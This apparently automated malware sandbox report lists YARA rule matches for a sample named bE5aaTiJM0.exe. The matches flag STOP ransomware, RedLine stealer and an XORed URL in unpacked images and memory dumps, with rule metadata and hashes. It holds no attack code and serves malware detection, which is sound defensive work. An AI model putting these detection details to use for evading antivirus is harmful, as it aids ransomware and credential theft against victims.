Source: 7.2.bE5aaTiJM0.exe.42915a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.bE5aaTiJM0.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.bE5aaTiJM0.exe.42415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.bE5aaTiJM0.exe.42415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 12.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 12.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.bE5aaTiJM0.exe.43515a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.bE5aaTiJM0.exe.43515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.bE5aaTiJM0.exe.42915a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.bE5aaTiJM0.exe.42915a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 11.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 11.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.bE5aaTiJM0.exe.43515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.bE5aaTiJM0.exe.43515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 2.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 2.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000007.00000002.409352563.00000000027E4000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000C.00000000.443455238.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000010.00000000.440338861.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000002.00000002.384651495.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000010.00000000.442195421.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000B.00000000.419924112.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000C.00000000.440796154.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000002.00000000.372461553.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000C.00000000.441862325.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000C.00000000.441862325.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000C.00000002.618738574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000010.00000000.441036729.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000B.00000000.419105516.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000000.424465720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000B.00000000.424465720.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000002.00000000.373064950.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000010.00000002.448009707.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000B.00000002.435929161.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000000.402254205.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000C.00000000.439811041.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000008.00000002.448603101.0000000004350000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000010.00000000.444270731.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000010.00000000.444270731.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000009.00000000.406644457.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000A.00000002.429478962.00000000041D1000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000007.00000002.409983046.0000000004290000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000009.00000000.402920593.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000008.00000002.448142800.00000000041B2000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000E.00000002.445958712.00000000041A4000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000B.00000000.421469310.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000B.00000000.421469310.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000009.00000002.412239693.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000000.403911103.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000009.00000000.403911103.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.378159844.00000000041D0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000002.00000000.376120577.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000010.00000000.443166129.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000010.00000000.443166129.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.378332147.0000000004270000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000A.00000002.431402243.0000000004270000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000E.00000002.446247010.0000000004240000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000002.00000000.374159139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000002.00000000.374159139.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000000.407464863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000009.00000000.407464863.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000000.405310385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000009.00000000.405310385.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000000.422893341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000B.00000000.422893341.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000002.00000000.375528936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000002.00000000.375528936.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000B.00000000.418527999.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000010.00000000.441549996.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000010.00000000.441549996.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000C.00000000.442423722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000C.00000000.442423722.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000002.00000000.374930864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000002.00000000.374930864.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0000000C.00000000.441346091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000C.00000000.441346091.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: bE5aaTiJM0.exe PID: 4004, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: bE5aaTiJM0.exe PID: 5720, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: bE5aaTiJM0.exe PID: 5592, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: bE5aaTiJM0.exe PID: 4376, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: bE5aaTiJM0.exe PID: 3616, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: bE5aaTiJM0.exe PID: 5828, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: bE5aaTiJM0.exe PID: 5832, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: bE5aaTiJM0.exe PID: 3920, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: bE5aaTiJM0.exe PID: 3304, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: bE5aaTiJM0.exe PID: 2888, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

Source: bE5aaTiJM0.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 11.0.bE5aaTiJM0.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.bE5aaTiJM0.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 9.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 10.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.bE5aaTiJM0.exe.42715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.bE5aaTiJM0.exe.42715a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 10.2.bE5aaTiJM0.exe.42715a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.bE5aaTiJM0.exe.42715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 2.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
